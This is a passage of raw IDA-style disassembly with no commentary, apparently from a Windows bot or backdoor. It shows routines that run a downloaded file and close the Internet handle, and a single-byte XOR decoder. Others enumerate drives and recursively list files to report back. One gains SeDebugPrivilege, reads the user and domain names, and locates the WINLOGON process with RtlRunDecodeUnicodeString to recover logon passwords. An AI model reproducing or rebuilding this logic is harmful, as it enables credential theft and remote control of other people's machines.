mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_4168ED
mov eax, [ebp+arg_0]
loc_4168ED: ; CODE XREF: sub_4167A0+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_41CD20
add esp, 0Ch
loc_416903: ; CODE XREF: sub_4167A0+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_416910
cmp edi, [ebp+var_3C]
ja short loc_41695A
loc_416910: ; CODE XREF: sub_4167A0+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_41692A
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_438330
jmp short loc_41693A
; ---------------------------------------------------------------------------
loc_41692A: ; CODE XREF: sub_4167A0+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_438308
loc_41693A: ; CODE XREF: sub_4167A0+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41C266
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_416881
loc_41695A: ; CODE XREF: sub_4167A0+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_4169AF
cmp edi, [ebp+var_3C]
jz short loc_4169AF
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_4382DC
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 28h
loc_4169AF: ; CODE XREF: sub_4167A0+1C4j
; sub_4167A0+1C9j
call dword_4270B0 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_427070 ; CloseHandle
push [ebp+var_1C]
call sub_41BA91
cmp [ebp+var_38], esi
pop ecx
jz short loc_416A39
lea eax, [ebp+var_148]
push eax
call sub_4010AB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416A39
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_4382B4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 28h
loc_416A39: ; CODE XREF: sub_4167A0+241j
; sub_4167A0+253j
cmp [ebp+var_14], esi
jz loc_416C79
cmp [ebp+var_44], 1
jz loc_416B34
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_427690
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_427690
fstp [esp+590h+var_590]
push offset unk_43827C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416AB4
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416AB4: ; CODE XREF: sub_4167A0+2F2j
lea eax, [ebp+var_510]
push eax
call sub_415D38
cmp [ebp+var_40], 1
pop ecx
jnz loc_416C79
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB940
cmp [ebp+var_30], esi
jnz loc_416C79
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_438260
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 24h
jmp loc_416C79
; ---------------------------------------------------------------------------
loc_416B34: ; CODE XREF: sub_4167A0+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_427690
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_427690
fstp [esp+590h+var_590]
push offset unk_43821C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416B9C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416B9C: ; CODE XREF: sub_4167A0+3DAj
lea eax, [ebp+var_510]
push eax
call sub_415D38
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_43DB88
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call dword_427074 ; CreateProcessA
cmp eax, edi
jnz short loc_416C1E
call dword_4CB92C ; WSACleanup
call sub_4188A6
push esi
call dword_42706C ; ExitProcess
loc_416C1E: ; CODE XREF: sub_4167A0+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_4381E8
jmp short loc_416C38
; ---------------------------------------------------------------------------
loc_416C2C: ; CODE XREF: sub_4167A0+45j
lea eax, [ebp+var_248]
push eax
push offset unk_4381BC
loc_416C38: ; CODE XREF: sub_4167A0+48Aj
lea eax, [ebp+var_510]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416C6C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416C6C: ; CODE XREF: sub_4167A0+4AAj
lea eax, [ebp+var_510]
push eax
call sub_415D38
pop ecx
loc_416C79: ; CODE XREF: sub_4167A0+29Cj
; sub_4167A0+325j ...
push [ebp+var_18]
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_48]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
sub_4167A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416C92 proc near ; CODE XREF: sub_4167A0+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416CAE
loc_416C9E: ; CODE XREF: sub_416C92+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C9E
locret_416CAE: ; CODE XREF: sub_416C92+Aj
retn
sub_416C92 endp
; =============== S U B R O U T I N E =======================================
sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p
; sub_401ACD+5896p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416CAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_41036B+458p
; sub_41036B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D35F8
push 0
push edi
call sub_41BF70
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CEE: ; CODE XREF: sub_416CC9+5Bj
; sub_416CC9+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DD20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DCB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416D2C
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CEE
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CEE
; ---------------------------------------------------------------------------
loc_416D2C: ; CODE XREF: sub_416CC9+4Bj
dec esi
mov eax, edi
loc_416D2F: ; CODE XREF: sub_416CC9+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416D3E
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416D3E: ; CODE XREF: sub_416CC9+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D48 proc near ; CODE XREF: sub_416EFD+51p
; sub_416EFD+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA34 ; GetDriveTypeA
sub eax, 0
jz short loc_416D8B
dec eax
jz short loc_416D85
dec eax
dec eax
jz short loc_416D7F
dec eax
jz short loc_416D79
dec eax
jz short loc_416D73
dec eax
jz short loc_416D6D
mov eax, offset word_4383AC
retn
; ---------------------------------------------------------------------------
loc_416D6D: ; CODE XREF: sub_416D48+1Dj
mov eax, offset off_4383A8
retn
; ---------------------------------------------------------------------------
loc_416D73: ; CODE XREF: sub_416D48+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D79: ; CODE XREF: sub_416D48+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D7F: ; CODE XREF: sub_416D48+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D48+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D8B: ; CODE XREF: sub_416D48+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D91 proc near ; CODE XREF: sub_416DD9+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB8C4
test eax, eax
jz short loc_416DC6
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416DC6: ; CODE XREF: sub_416D91+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p
; sub_41AF8F+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D91
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C360
add esp, 10h
pop ebx
jmp short loc_416EE9
; ---------------------------------------------------------------------------
loc_416EB7: ; CODE XREF: sub_416DD9+2Cj
; sub_416DD9+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
pop ecx
loc_416EE9: ; CODE XREF: sub_416DD9+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EFD proc near ; CODE XREF: sub_416FCF+17p
; sub_416FCF+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41CA50
add esp, 10h
test eax, eax
jnz short loc_416F70
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383FC
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EFD+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383C0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 20h
loc_416FA4: ; CODE XREF: sub_416EFD+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_500]
push eax
call sub_415D38
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416FF0
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
jmp short loc_417051
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FCF+9j
push esi
push edi
push ebx
push ebx
call dword_4CB93C ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41BEB5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB93C ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_417048
loc_417014: ; CODE XREF: sub_416FCF+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417037
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
loc_417037: ; CODE XREF: sub_416FCF+54j
push esi
call sub_41B9C0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_417014
loc_417048: ; CODE XREF: sub_416FCF+43j
push edi
call sub_41BA91
pop ecx
pop edi
pop esi
loc_417051: ; CODE XREF: sub_416FCF+1Fj
pop ebx
pop ebp
retn
sub_416FCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417054 proc near ; DATA XREF: sub_401ACD+67C1o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_41B9C0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4170A9
lea eax, [ebp+var_114]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_115], bl
loc_4170A9: ; CODE XREF: sub_417054+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_43845C
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4170EE
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409869
add esp, 14h
loc_4170EE: ; CODE XREF: sub_417054+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_41716F
add esp, 18h
push eax
lea eax, [ebp+var_49C]
push offset dword_43843C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41714F
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409869
add esp, 14h
loc_41714F: ; CODE XREF: sub_417054+D9j
lea eax, [ebp+var_49C]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_417054 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41716F proc near ; CODE XREF: sub_417054+B9p
; sub_41716F+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset dword_4384A0
push esi
push eax
call sub_41C360
mov edi, dword_427124
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset dword_429AC0
jz short loc_41722C
loc_4171BB: ; CODE XREF: sub_41716F+BBj
test [ebp+var_144], 10h
jz short loc_417218
cmp [ebp+var_118], 2Eh
jnz short loc_4171DF
cmp [ebp+var_117], 0
jz short loc_417218
cmp [ebp+var_117], 2Eh
jz short loc_417218
loc_4171DF: ; CODE XREF: sub_41716F+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C360
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41716F
add esp, 2Ch
mov [ebp+arg_14], eax
loc_417218: ; CODE XREF: sub_41716F+53j
; sub_41716F+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_4171BB
loc_41722C: ; CODE XREF: sub_41716F+4Aj
push [ebp+var_4]
call dword_427000 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4172B2
loc_417263: ; CODE XREF: sub_41716F+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset dword_438484
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_417263
loc_4172B2: ; CODE XREF: sub_41716F+F2j
push esi
call dword_427000 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41716F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41AE41
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417300
cmp eax, 2
jz short loc_417300
push offset unk_438678
jmp loc_41743F
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_4172C1+2Ej
; sub_4172C1+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
test eax, eax
pop ecx
jz loc_41743A
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call dword_4270C0 ; LoadLibraryA
mov esi, dword_4270C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D483C, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4830, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D4A40, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4838, eax
call esi ; GetProcAddress
mov dword_4D4834, eax
call sub_417493
test eax, eax
mov [ebp+arg_0], eax
jz loc_41740D
mov esi, dword_427148
mov edi, 400h
mov ebx, offset dword_4D3830
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_4D4030
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D4A48
push [ebp+arg_0]
jnz short loc_4173B9
call sub_41761C
jmp short loc_4173BE
; ---------------------------------------------------------------------------
loc_4173B9: ; CODE XREF: sub_4172C1+EFj
call sub_4177C3
loc_4173BE: ; CODE XREF: sub_4172C1+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417406
cmp dword_4D4A48, 0
jnz short loc_4173ED
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_438540
push 200h
push eax
call sub_41C360
add esp, 18h
jmp short loc_417420
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_4172C1+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173FD
call sub_4178F9
jmp short loc_417402
; ---------------------------------------------------------------------------
loc_4173FD: ; CODE XREF: sub_4172C1+133j
call sub_417990
loc_417402: ; CODE XREF: sub_4172C1+13Aj
pop ecx
push eax
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_417406: ; CODE XREF: sub_4172C1+101j
push offset unk_438508
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_41740D: ; CODE XREF: sub_4172C1+B6j
push offset unk_4384DC
loc_417412: ; CODE XREF: sub_4172C1+143j
; sub_4172C1+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_417420: ; CODE XREF: sub_4172C1+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push [ebp+var_8]
call dword_427144 ; FreeLibrary
pop ebx
jmp short loc_41744D
; ---------------------------------------------------------------------------
loc_41743A: ; CODE XREF: sub_4172C1+4Ej
push offset unk_4384A8
loc_41743F: ; CODE XREF: sub_4172C1+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41744D: ; CODE XREF: sub_4172C1+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417474
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409869
add esp, 14h
loc_417474: ; CODE XREF: sub_4172C1+191j
lea eax, [ebp+var_29C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4172C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417493 proc near ; CODE XREF: sub_4172C1+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427154
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, dword_427150
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D483C
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D483C
test eax, eax
jnz short loc_417580
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417580
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417580
loc_41751C: ; CODE XREF: sub_417493+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417573
push 0
push 0
call dword_4D4830
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D4A40
test eax, eax
jnz short loc_417564
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417598
loc_417564: ; CODE XREF: sub_417493+AAj
test edi, edi
jz short loc_41756F
push edi
call dword_4D4838
loc_41756F: ; CODE XREF: sub_417493+D3j
mov eax, [esp+28h+var_10]
loc_417573: ; CODE XREF: sub_417493+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_41751C
loc_417580: ; CODE XREF: sub_417493+6Dj
; sub_417493+7Aj ...
xor edi, edi
loc_417582: ; CODE XREF: sub_417493+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov eax, edi
loc_417590: ; CODE XREF: sub_417493+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_417493+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417601
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
